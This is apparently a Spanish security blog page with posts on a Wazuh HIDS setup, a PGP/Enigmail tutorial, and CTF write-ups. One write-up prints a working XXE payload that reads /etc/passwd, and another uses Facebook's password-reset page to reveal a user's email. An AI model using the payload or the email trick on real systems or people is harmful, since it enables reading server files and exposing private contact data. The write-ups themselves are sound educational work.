Reiniciamos el cliente haciendo click en manage-> restart:

Si todo ha ido bien veremos el agente en kibana.

Una vez hayamos conseguido añadir algunos agentes ya podremos comenzar a ver información en kibana y disfrutar de los diferentes dashboards que la gente de Wazuh ha preparado para nosotros. Ya tenéis un HIDS totalmente funcional.

Como nota importante comentaros que si actualizais el container muy probablemente los cambios que hayáis hechos en la configuración volveran a default, por defecto Wazuh genera un backup de vuestra configuración antigua así que no os tenéis que preocupar de perderla. En el caso de las reglas, la best practice, y para no perder los cambios ya que estos archivos no se tocan en los updates; será añadirlos a los archivos local_rules.xml o local_decoder.xml localizados en /var/ossec/etc/ en las carpetas rules y decoders. Pero sobre esto hablaré en futuros post.

En caso de que tengáis algún problema los logs de ossec se guardan por defecto, tanto para el manager como para los agentes, en la carpeta /var/ossec/logs; recordad que en el caso del manager, al haber mapeado dicha carpeta, podéis acceder directamente a la carpeta logs en el path que le hayáis especificado sin tener que conectaros al container.

Con esto ya tendríais una instalación básica pero funcional de Wazuh y podéis empezar a familiarizaros con su interfaz de kibana y ver las distintas opciones que nos ofrece, Wazuh nos ofrece muchas más posibilidades como añadir checks de OpenSCAP a nuestros agentes, notificaciones de correo, despliegue de configuración remota a los agentes, ejecución de scripts en remoto, y un largo etc. Pero eso serán cosas para otro post.

Espero que os haya gustado el post y os sea útil, para cualquier duda podéis dejarme un comentario aquí y os animo a pasaros por la lista de correo de Wazuh:

wazuh@googlegroups.com

Saludos, y como siempre, gracias por vuestra visita!

Publicado en docker, tools, tutorial, wazuh | Deja un comentario

MariaPitaDefCon 2017 – Un mensaje inesperado (30 ptos)

Y aquí tenemos el último writeup correspondiente al primer día de ctf.

06/03/2017

Un mensaje inesperado

(30 pts)

Lo que me faltaba! Esto ya es el colmo. Me acaba de llegar un whatsapp de un número desconocido. Y me ha enviado esta imagen…

Y nada más…, pero esto que es! Por lo menos hubiera dejado un mensaje diciendo algo sobre ella. Porque supongo que esta imagen, así sola, no significa nada no?

En este caso la categoría era claramente estego, así que lo primero que hice fue irme a GIMP para jugar un poco con los colores, luego de probar varias cosas como curvas, etc, en el mapa alienígena, al jugar con la frecuencia del rojo veo lo siguiente:

Eso parece un QR, vamos a intentar limpiarlo un poco más a ver:

Efectivamente, al eliminar los colores azul y verde nos encontramos con un QR, lo leemos y obtenemos la flag:

Congratulations!

Publicado en ctf, estego, mariapitadefcon, trileuco, writeups | Deja un comentario

MariaPitaDefCon 2017 – Facebook entra en juego (15 ptos)

Seguimos con los writeups del primer día del CTF de la MariaPitaDefCon.

06/03/2017

Facebook entra en juego

(15 pts)

No te lo vas a creer! Me acaban de agregar una persona en facebook que no tengo ni idea de quién es!

Se trata de una tal almudena.juan.94… Pero es que lo extraño es que en su perfil no tiene nada publicado!

No entiendo nada… Supongo que si tuviéramos su correo electrónico podríamos localizarla mejor no?

Me podrías ayudar tú? Dime que sí…

Este es el primero de una serie de 3 retos diseñados por netting (https://netting.wordpress.com/) que acompañados de su charla durante la MariaPita nos ayudó a concienciarnos sobre la importancia de la privacidad en facebook.

Por si no lo sabíais Facebook, en su opción para resetear tu contraseña, nos permite utilizar distinta información para identificar la cuenta: email, número de teléfono o nombre de usuario. En este caso disponemos de este último así que nos vamos a la página de recuperar contraseña y utilizamos dicho nombre de usuario:

Como podéis ver obtenemos el dominio, y la primera y la última letra, así como la longitud del usuario, aunque este último sale parcialmente oculto. Con toda esta información podemos deducir que el usuario es almudenajuan y el servidor de correo hotmail.

Después de validar confirmamos que la flag es: almudenajuan@hotmail.com

Publicado en ctf, facebook, mariapitadefcon, trileuco, writeups | Deja un comentario

MariaPitaDefCon 2017 – El comienzo (10 ptos)

Hoy os traigo los writeups de las pruebas que conseguí resolver durante la MariaPitaDefCon que se celebró esta semana pasada en A Coruña.

Las iré poniendo según en el orden en que las fueron abriendo, comencemos:

06/03/2017

El comienzo

(10 pts)

Por fin!!!

No sabes el tiempo que hace que te espero. Me han dicho que tú eres el único en quién puedo confiar y quién me puede ayudar a resolver este rompecabezas…

No se por dónde empezar, lo único que te puedo decir, es que me ha llegado una carta con una palabra: Trileuco…

Pero qué es esto? No tengo ni idea de a que se refiere…, a ver si me puedes echar una mano, te lo suplico…

Bueno, para empezar nos dan una simple palabra, Trileuco; es el nombre de la compañía que organiza el CTF así que vamos a su web a investigar un poco…

A simple vista no vemos nada así que, como siempre, nos vamos al código fuente, y nos encontramos lo siguiente:

¿Soy yo, o eso es un base64? Decodificamos:

Pues si, el Trileuco son tres grandes piedras que están en el Cabo Ortegal que separan el mar Cantábrico del Océano atlántico y que se suponen que son de las piedras más antiguas del mundo… Increíble no? Si nunca has estado, te lo recomendamos. Además, Trileuco es la empresa que organiza este contest para la María Pita DefCon del que esperamos que disfrutes! Como solución debes usar: YaConozcoElTrileuco!

Y ahí tenemos la flag: YaConozcoElTrileuco!

Publicado en ctf, mariapitadefcon, trileuco, writeups | Deja un comentario

Como utilizar PGP/GPG en Thunderbird/Icedove

Hoy vamos a cambiar un poco la monotemática de los writeups y vamos a introducir un pequeño tutorial sobre como utilizar PGP/GPG en los clientes de correo Thunderbird y Icedove.

Para empezar quizás ni siquiera conozcáis que significan las siglas PGP o GPG, aquí tenéis una pequeña explicación:

  • PGP: Viene de Pretty Good Privay, actualmente es propiedad de Symatec, el formato de sus llaves, mensajes cifrados, etc; conforman el conocido OpenPGP estándar.
  • GPG: O GNU Privacy Guard es una implementación independiente del estándar OpenGPG que te permite intercambiar mensajes cifrados con otras implementaciones de dicho estándar.

Muchas veces la gente habla erróneamente el termino GPG cuando se refiere a implementaciones del estándar OpenGPG como, por ejemplo, refiriéndose a llaves GPG. Esto se debe, sobre todo, a la gran popularidad que GPG tiene dentro de la comunidad Linux.

Vale, pero, seguís sin tener ni idea de que estoy hablando ¿verdad?

En lugar de darle mil vueltas a una explicación técnica creo que es mejor que si estáis interesados en como funciona os leáis este artículo de la wikipedia el cual lo explica muy bien: https://es.wikipedia.org/wiki/Pretty_Good_Privacy

En su lugar yo os voy a explicar algunos usos básicos que se le dan a este sistema criptográfico, pero antes vamos a dejar claros un par de términos para asegurarnos de que podéis seguir mi explicación:

  • Pares de llaves: Cuando hablo de pares de llaves me refiero al conjunto de la llave pública y la llave privada generadas siguiendo el estándar OpenGPG.
  • Llave pública: Aquella llave que se comparte con nuestros contactos para que estos puedan realizar diversas acciones como verificar que un mensaje enviado por nosotros es nuestro.
  • Llave privada: La llave que solo nosotros debemos poseer y que suele estar protegida con contraseña, esta llave la utilizaremos para firmar/cifrar nuestra información.

Usualmente PGP se suele utilizar para dos cosas: firmar y cifrar información.

  • Firmar: Cuando firmamos información utilizando nuestra llave PGP, bien sea un archivo, bien sea un email; lo que estamos consiguiendo es que el receptor sepa que la información que hemos enviado proviene de nosotros y que no ha sido alterada.
  • Cifrar: Al cifrar un mensaje nos aseguramos que solo la gente que tenga, nuestra llave pública y que nosotros hayamos utilizado la suya, pueda acceder a la información cifrada.

Seguramente os hayáis encontrado con el aspecto referente a la firma muchas veces aunque quizás no os hayáis dado cuenta, por ejemplo, los repositorios que apt utiliza están firmados con esta tecnología para asegurarnos que los paquetes que nos descargamos no son modificados por un intermediario. Por esto mismo, cuando añadimos un nuevo repositorio, debemos importar la clave pública del repositorio para evitar que apt nos envíe alertas sobre que no puede verificar la integridad de dichos paquetes. La firma de archivos también se utiliza muchas veces a la hora de enviar documentos y que, tanto el destinatario como el receptor, puedan asegurar que el documento enviado es tal cual se envión y no se ha modificado a posteriori.

En el caso del cifrado de información quizás ya no os suene tanto, pero existen múltiples utilidades para esta función, dos implementaciones de ejemplo serían: retroshare, que utiliza este sistema para cifrar la comunicación entre sus nodos; y los correos electrónicos, donde tanto el contenido del correo como sus adjuntos son cifrados de tal manera que solo su verdadero destinatario sea capaz de verlos.

Este último uso es el que ha dado origen a esta entrada. Normalmente no nos preocupamos demasiado de la información que se envía a través de correo electrónico, bien sea porque apenas lo usamos (parece que está quedando al nivel de enviar una carta escrita a mano) o bien porque no enviamos información que creamos sensible.Pero os voy a poner un ejemplo, ¿sabiais que google lee nuestros correos? Y no lo digo en plan NSA, sino que utilizan un sistema que en base al contenido de nuestros correos puede aplicar acciones tales como crear eventos en nuestro calendario. A alguno quizás ya os ha pasado que al recibir vuestro billete de avión en vuestra cuenta de google este os ha generado un evento en el calendario para recordaros dicho vuelo, pues a eso me refiero.

La solución ideal sería que todos estos correos que pueden contener datos nuestros fueran cifrados con nuestra llave pública de tal manera que solo nosotros pudiésemos verlos, el problema viene con que para ello el emisor debería tener nuestra llave pública, lo cual, para sistemas automatizados, no siempre es viable sin una implementación específica que las obtenga de un servidor o nos permita copiarlas.

Pero aunque no podamos hacerlo con todos esto no significa que no debamos hacerlo con los que si podemos. ¡Así que vamos a ello!

Deciros que me centro en Thunderbird/Icedove (T/I de ahora en adelante para abreviar) porque en ambos casos las instrucciones son las mismas y la implementación actual de WinGPG (GPG para windows) para outlook me ha dado muchísimos errores.

Doy por hecho que tenéis ya configurado T/I con la cuenta de correo que queráis utilizar e instalados WinGPG, para los que uséis windows, o GPG, para los linuxeros. No entro en detalles sobre como instalar estas aplicaciones ya que ambos se instalan de forma estándar en sus correspondientes OS, siguiente, siguiente, siguiente para windows y apt, yum, pacman para linux.

Nos instalamos el addon Enigmail en T/I, para ello podemos utilizar el propio cliente de correo o irnos al siguiente enlace: https://addons.mozilla.org/es/thunderbird/addon/enigmail/

Una vez reiniciemos el cliente veremos que ahora tenemos un nuevo menú arriba del todo llamado enigmail. Puede ser que Enigmail inicie un asistente de configuración, esto suele ocurrir sobre todo en Windows si no detecta bien nuestra instalación de los binarios de GPG. Si hacemos click en el veremos las diferentes opciones que nos proporciona, para empezar, haremos click en “Administración de claves”.

Esto nos abrirá una nueva ventana donde podremos ver un listado de todas las llaves que tenemos, sin formato para las públicas y en negrita para aquellas de las cuales también tengamos las privadas.

Para generar nuestro nuevo par de llaves haremos click en “Generar” -> “Nuevo par de claves”.

En la parte superior veremos que nos permite seleccionar una de las cuentas que tengamos configuradas en nuestro T/I, seleccionar aquella para la que queráis crear la llave. Aquí podemos seleccionar las características de nuestra llave: introducir una contraseña o generar las llaves sin ella, el tiempo por el cual la llave es valida; y en la pestaña de avanzado el tamaño y el tipo de clave. Estas últimas no se suelen modificar.

Como bien nos advierte el mensaje en la parte inferior de la ventana generar las llaves puede llevar un buen rato debido a la eurística necesaria para el proceso. Así que en cuanto le demos a generar nos pondremos a hacer otras cosas con el ordenador para ayudar en el proceso de generación de la misma.

Una vez termine el proceso ya tendremos nuestro flamante par de llaves, pero de nada sirven si solo las tenemos nosotros. Lo primero será guardar a buen recaudo nuestra llave privada, para ello haremos click derecho en nuestra llave en la misma ventana y le daremos a “Exportar claves a un archivo”; nos preguntará si queremos guardar también la privada y lo confirmamos, si hemos configurado una contraseña para la llave nos la pedirá para confirmar nuestra identidad.

El segundo paso es distribuir nuestra clave pública para que la gente pueda verificar nuestros correos y enviarnos correos cifrados. Para ello existen dos métodos, o bien distribuir nuestra clave pública a individuales pos distintos métodos: impresa en papel, un qr, un email, etc; o bien utilizando un servidor de claves para que cualquier se la pueda descargar. Para ello haremos click derecho en la llave que deseamos subir y hacemos click en “Subir claves públicas al servidor de claves”. Esto subirá nuestra llave pública a distintos servidores de claves, existe una anillo de servidores de llaves que se sincronizan entre si y que son de acceso público para este propósito; esta sincronización puede tardar algún tiempo, así que si acabas de subir tus llaves quizás tus contactos aun no puedan encontrarlas si utilizan un servidor distinto del anillo.

Para buscar las llaves de nuestros amigos haremos click en el menú “Servidor de claves”-> “Buscar claves”. El método habitual para buscar una llave es utilizando el fingerprint de la misma para asegurarnos de que es la que corresponde, o bien utilizando la dirección de email; este último método es el menos recomendable ya que pueden existir duplicados de llaves o llaves de las cuales el receptor a perdido la llave pública y no la ha podido revocar.

Una vez le demos a buscar se nos abrirá una nueva ventana con los resultados de la búsqueda, seleccionamos las claves que queramos importar y le damos a “Ok”, esto importara dichas claves a nuestros anillo de llaves local.

En el caso de que nos hayan pasado la clave pública por cualquier otro método deberemos meterla en un archivo y utilizaremos la opción del menú “File” -> “Importar claves desde fichero” para importarla a nuestro anillo.

Ya deberíamos tener todo listo para enviar nuestro primer correo cifrado. Ahora al abrir el editor para enviar un mensaje nuevo se nos presentaran nuevas opciones:

El mensaje en rojo de que este correo no se firmara ni cifrará aparece debido a las opciones por defecto, esto se puede editar en las preferencias de Enigmail. Una vez seleccionemos un destinatario Enigmail automáticamente detectará sin tenemos una clave pública que podamos utilizar y, según su configuración, se ajustará:

Como ves ahora enigmail nos indica que el mensaje de cifrará ya que en mi anillo tengo tanto la llave privada para la dirección emisora como la llave pública para la dirección receptora. Para también firmar el mensaje simplemente tendría que hacer click en el icono que sale a la derecha del candado en la barra de Enigmail.

Una vez enviado el correo esto será lo que verá el destinatario si todo ha ido bien:

Como podéis ver, enigmail nos informa de que el mensaje ha sido descifrado con éxito y nos muestra la información de la llave con la que el mensaje fue cifrado.

Espero os haya gustado esta introducción al uso de PGP en nuestros correos, en próximos post explicaré como utilizar este mismo sistema en nuestro smarthphone Android utilizando K9 y OpenKeyChain.

Saludos y, como siempre, gracias por vuestra visita!

Publicado en cripto, tools, tutorial | Deja un comentario

Follow the white rabbit CTF – R4bb1t Gl1tch

Glitchs are very annoying, we hate them. Maybe the user stays with you 😉

http://web3.ctf.followthewhiterabbit.es:8003/

En esta prueba nos encontramos la siguiente web:

Aparentemente no tiene nada más, pero al revisar el código fuente vemos el siguiente comentario:

Vale, ya sabemos que tiene que ver con XML y que la flag esta en /etc/passwd, tiene toda la pinta de ser XXE. Después de algunas pruebas para intentar que me mostrara mi usuario encontré la estructura de XML que esperaba la página.

Este comando:

curl -d "<creds><user>kalrong</user></creds>"  http://web3.ctf.followthewhiterabbit.es:8003/

Consigue este resultado:

Una vez descubierto el formato del XML creamos un archivo con un XML que aprovechará la vulnerabilidad XXE:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd" >]><creds><user>&xxe;</user></creds>

Le indicamos a curl que envíe el contenido de dicho archivo de la siguiente manera:

curl -d @filename http://web3.ctf.followthewhiterabbit.es:8003/

Y obtenemos el resultado esperado con la flag:

Ahí se ve perfectamente la flag:

fwhibbit{R3M3MB3R_XXE_AND_CURL_RUL3S}

Publicado en ctf, fwhibbit-ctf, web, writeups | Deja un comentario

Follow the white rabbit CTF – Information Leakage

Our experts claim that we have suffered an important information leak thanks to our domain: flag.followthewhiterabbit.es Can you check if this is true?

Esta prueba fue bastante sencilla, simplemente utilizamos el comando dig con su opción any para extraer todos los registros referentes a este subdominio:

dig any flag.followthewhiterabbit.es

Y obtenemos la siguiente información:

Y ahí tenemos la flag:

fwhibbit{DnS_L3ak}

Publicado en ctf, fwhibbit-ctf, misc, writeups | 1 comentario